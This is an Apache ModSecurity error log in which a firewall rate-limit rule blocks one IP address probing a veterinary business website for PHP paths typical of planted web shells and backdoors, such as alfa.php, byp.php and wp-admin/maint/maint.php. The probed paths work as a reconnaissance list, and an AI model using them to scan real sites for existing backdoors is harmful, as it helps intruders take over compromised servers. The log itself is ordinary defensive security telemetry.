[Mon Dec 22 21:40:54.913755 2025] [:error] [pid 33471:tid 33498] [client 4.230.34.85:6086] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/222.php"] [unique_id "aUlKZr5BeNE7regJ7ixVWQAAAVg"]
[Mon Dec 22 21:40:55.268525 2025] [:error] [pid 58172:tid 58194] [client 4.230.34.85:11829] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/index.php"] [unique_id "aUlKZ-SVKDT5jWOcnSUDPQAAANQ"]
[Mon Dec 22 21:40:55.596024 2025] [:error] [pid 33472:tid 33504] [client 4.230.34.85:11827] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/index.php"] [unique_id "aUlKZ55p2WQpPIK8HAk_twAAAYM"]
[Mon Dec 22 21:40:55.878947 2025] [:error] [pid 33564:tid 33573] [client 4.230.34.85:6078] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/index.php"] [unique_id "aUlKZwSHeG6oLmMnKY7UZwAAAgY"]
[Mon Dec 22 21:40:56.175452 2025] [:error] [pid 33471:tid 33475] [client 4.230.34.85:6020] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/index.php"] [unique_id "aUlKaL5BeNE7regJ7ixVWgAAAUE"]
[Mon Dec 22 21:40:56.502685 2025] [:error] [pid 33471:tid 33486] [client 4.230.34.85:6098] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/admin.php"] [unique_id "aUlKaL5BeNE7regJ7ixVXAAAAUw"]
[Mon Dec 22 21:40:56.951311 2025] [:error] [pid 58078:tid 58084] [client 4.230.34.85:11868] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/admin.php"] [unique_id "aUlKaJWKg9Bf8njHlB5dpgAAAAE"]
[Mon Dec 22 21:40:57.331135 2025] [:error] [pid 33440:tid 33447] [client 4.230.34.85:6101] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/admin.php"] [unique_id "aUlKaZOsUWKqgxu6QTRAOgAAAQU"]
[Mon Dec 22 21:40:57.649829 2025] [:error] [pid 33472:tid 33515] [client 4.230.34.85:11872] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/admin.php"] [unique_id "aUlKaZ5p2WQpPIK8HAk_uwAAAY4"]
[Mon Dec 22 21:40:58.296189 2025] [:error] [pid 56044:tid 56054] [client 4.230.34.85:6121] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aUlKau60uUaieriJqP15CwAAAIY"]
[Mon Dec 22 21:40:58.679864 2025] [:error] [pid 58078:tid 58100] [client 4.230.34.85:6068] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aUlKapWKg9Bf8njHlB5dqgAAABE"]
[Mon Dec 22 21:40:59.168055 2025] [:error] [pid 33440:tid 33454] [client 4.230.34.85:11812] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aUlKa5OsUWKqgxu6QTRAPAAAAQw"]
[Mon Dec 22 21:40:59.493098 2025] [:error] [pid 33564:tid 33587] [client 4.230.34.85:6110] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aUlKawSHeG6oLmMnKY7UbAAAAhQ"]
[Mon Dec 22 21:41:00.091481 2025] [:error] [pid 33471:tid 33492] [client 4.230.34.85:6065] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aUlKbL5BeNE7regJ7ixVXgAAAVI"]
[Mon Dec 22 21:41:01.071036 2025] [:error] [pid 33564:tid 33582] [client 4.230.34.85:6124] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aUlKbQSHeG6oLmMnKY7UbwAAAg8"]
[Mon Dec 22 21:41:01.840028 2025] [:error] [pid 56080:tid 56148] [client 4.230.34.85:6028] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aUlKbZIHT3YJq9hjDc7zrAAAAxg"]
[Mon Dec 22 21:41:02.474436 2025] [:error] [pid 33535:tid 33558] [client 4.230.34.85:6051] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aUlKbmOCI8D9Xtn-n7TOxwAAAdU"]
[Mon Dec 22 21:41:02.772006 2025] [:error] [pid 58078:tid 58095] [client 4.230.34.85:6017] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/abcd.php"] [unique_id "aUlKbpWKg9Bf8njHlB5drAAAAAw"]
[Mon Dec 22 21:41:03.105819 2025] [:error] [pid 33472:tid 33516] [client 4.230.34.85:6126] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/abcd.php"] [unique_id "aUlKb55p2WQpPIK8HAk_wwAAAY8"]
[Mon Dec 22 21:41:03.528516 2025] [:error] [pid 58078:tid 58105] [client 4.230.34.85:6132] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/abcd.php"] [unique_id "aUlKb5WKg9Bf8njHlB5drgAAABY"]
[Mon Dec 22 21:41:03.936856 2025] [:error] [pid 56155:tid 56240] [client 4.230.34.85:6115] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/abcd.php"] [unique_id "aUlKb2G8a3wQucsuN67_HAAAA5I"]
[Mon Dec 22 21:41:04.319999 2025] [:error] [pid 33535:tid 33544] [client 4.230.34.85:5974] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/autoload_classmap.php"] [unique_id "aUlKcGOCI8D9Xtn-n7TOygAAAcc"]
[Mon Dec 22 21:41:04.775009 2025] [:error] [pid 33440:tid 33460] [client 4.230.34.85:6129] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/autoload_classmap.php"] [unique_id "aUlKcJOsUWKqgxu6QTRAQAAAARI"]
[Mon Dec 22 21:41:05.178946 2025] [:error] [pid 33440:tid 33458] [client 4.230.34.85:6114] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/autoload_classmap.php"] [unique_id "aUlKcZOsUWKqgxu6QTRAQgAAARA"]
[Mon Dec 22 21:41:06.274219 2025] [:error] [pid 56155:tid 56226] [client 4.230.34.85:11831] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/autoload_classmap.php"] [unique_id "aUlKcmG8a3wQucsuN67_HQAAA4Q"]
[Mon Dec 22 21:41:06.687888 2025] [:error] [pid 33471:tid 33477] [client 4.230.34.85:6066] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/inputs.php"] [unique_id "aUlKcr5BeNE7regJ7ixVYQAAAUM"]
[Mon Dec 22 21:41:07.487796 2025] [:error] [pid 33472:tid 33507] [client 4.230.34.85:11860] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/inputs.php"] [unique_id "aUlKc55p2WQpPIK8HAk_xAAAAYY"]
[Mon Dec 22 21:41:07.791781 2025] [:error] [pid 33440:tid 33445] [client 4.230.34.85:11848] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/inputs.php"] [unique_id "aUlKc5OsUWKqgxu6QTRAQwAAAQM"]
[Mon Dec 22 21:41:08.440875 2025] [:error] [pid 56080:tid 56137] [client 4.230.34.85:11830] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/inputs.php"] [unique_id "aUlKdJIHT3YJq9hjDc7ztgAAAw0"]
[Mon Dec 22 21:41:08.777406 2025] [:error] [pid 58172:tid 58186] [client 4.230.34.85:6024] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/about.php"] [unique_id "aUlKdOSVKDT5jWOcnSUDTQAAAMw"]
[Mon Dec 22 21:41:09.139990 2025] [:error] [pid 33564:tid 33578] [client 4.230.34.85:6026] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/about.php"] [unique_id "aUlKdQSHeG6oLmMnKY7UdgAAAgs"]
[Mon Dec 22 21:41:09.805853 2025] [:error] [pid 58078:tid 58100] [client 4.230.34.85:6090] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/about.php"] [unique_id "aUlKdZWKg9Bf8njHlB5dswAAABE"]
[Mon Dec 22 21:42:17.608028 2025] [:error] [pid 56080:tid 56127] [client 4.230.34.85:6142] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aUlKuZIHT3YJq9hjDc70AgAAAwM"]
[Mon Dec 22 21:42:17.938226 2025] [:error] [pid 58172:tid 58196] [client 4.230.34.85:11820] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aUlKueSVKDT5jWOcnSUDjgAAANY"]
[Mon Dec 22 21:42:18.240811 2025] [:error] [pid 33471:tid 33478] [client 4.230.34.85:11903] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aUlKur5BeNE7regJ7ixVgwAAAUQ"]
[Mon Dec 22 21:42:18.520975 2025] [:error] [pid 58078:tid 58091] [client 4.230.34.85:6096] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aUlKupWKg9Bf8njHlB5eDAAAAAg"]
[Mon Dec 22 21:42:18.817373 2025] [:error] [pid 33472:tid 33501] [client 4.230.34.85:6046] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sx.php"] [unique_id "aUlKup5p2WQpPIK8HAk_7wAAAYA"]
[Mon Dec 22 21:42:19.110695 2025] [:error] [pid 33564:tid 33577] [client 4.230.34.85:11851] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sx.php"] [unique_id "aUlKuwSHeG6oLmMnKY7UogAAAgo"]
[Mon Dec 22 21:42:19.406738 2025] [:error] [pid 58172:tid 58178] [client 4.230.34.85:11833] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sx.php"] [unique_id "aUlKu-SVKDT5jWOcnSUDkQAAAMQ"]
[Mon Dec 22 21:42:19.694992 2025] [:error] [pid 58172:tid 58175] [client 4.230.34.85:6050] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sx.php"] [unique_id "aUlKu-SVKDT5jWOcnSUDkwAAAME"]
[Mon Dec 22 21:42:20.003126 2025] [:error] [pid 58172:tid 58197] [client 4.230.34.85:11895] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aUlKvOSVKDT5jWOcnSUDlgAAANc"]
[Mon Dec 22 21:42:20.310816 2025] [:error] [pid 58172:tid 58186] [client 4.230.34.85:11885] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aUlKvOSVKDT5jWOcnSUDmAAAAMw"]
[Mon Dec 22 21:42:20.660593 2025] [:error] [pid 56044:tid 56053] [client 4.230.34.85:5995] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aUlKvO60uUaieriJqP15MgAAAIU"]
[Mon Dec 22 21:42:20.965536 2025] [:error] [pid 33564:tid 33588] [client 4.230.34.85:5981] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aUlKvASHeG6oLmMnKY7UowAAAhU"]
[Mon Dec 22 21:42:21.246202 2025] [:error] [pid 33535:tid 33553] [client 4.230.34.85:11806] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/alfa.php"] [unique_id "aUlKvWOCI8D9Xtn-n7TPAwAAAdA"]
[Mon Dec 22 21:42:21.541427 2025] [:error] [pid 56155:tid 56221] [client 4.230.34.85:11844] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/alfa.php"] [unique_id "aUlKvWG8a3wQucsuN67_PwAAA4A"]
[Mon Dec 22 21:42:21.818189 2025] [:error] [pid 56155:tid 56233] [client 4.230.34.85:6034] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/alfa.php"] [unique_id "aUlKvWG8a3wQucsuN67_QAAAA4s"]
[Mon Dec 22 21:42:22.118647 2025] [:error] [pid 33535:tid 33544] [client 4.230.34.85:6022] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/alfa.php"] [unique_id "aUlKvmOCI8D9Xtn-n7TPBAAAAcc"]
[Mon Dec 22 21:42:22.418157 2025] [:error] [pid 56155:tid 56227] [client 4.230.34.85:6094] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/1.php"] [unique_id "aUlKvmG8a3wQucsuN67_QQAAA4U"]
[Mon Dec 22 21:42:22.704519 2025] [:error] [pid 58078:tid 58104] [client 4.230.34.85:6059] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/1.php"] [unique_id "aUlKvpWKg9Bf8njHlB5eDQAAABU"]
[Mon Dec 22 21:42:23.004310 2025] [:error] [pid 56080:tid 56125] [client 4.230.34.85:11859] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/1.php"] [unique_id "aUlKv5IHT3YJq9hjDc70BQAAAwE"]
[Mon Dec 22 21:42:23.300835 2025] [:error] [pid 56155:tid 56223] [client 4.230.34.85:6082] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/1.php"] [unique_id "aUlKv2G8a3wQucsuN67_QwAAA4E"]
[Mon Dec 22 21:42:23.585777 2025] [:error] [pid 58078:tid 58089] [client 4.230.34.85:6039] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/byp.php"] [unique_id "aUlKv5WKg9Bf8njHlB5eDgAAAAY"]
[Mon Dec 22 21:42:23.969088 2025] [:error] [pid 58172:tid 58192] [client 4.230.34.85:6081] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/byp.php"] [unique_id "aUlKv-SVKDT5jWOcnSUDnwAAANI"]
[Mon Dec 22 21:42:24.378806 2025] [:error] [pid 33535:tid 33559] [client 4.230.34.85:11866] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/byp.php"] [unique_id "aUlKwGOCI8D9Xtn-n7TPCQAAAdY"]
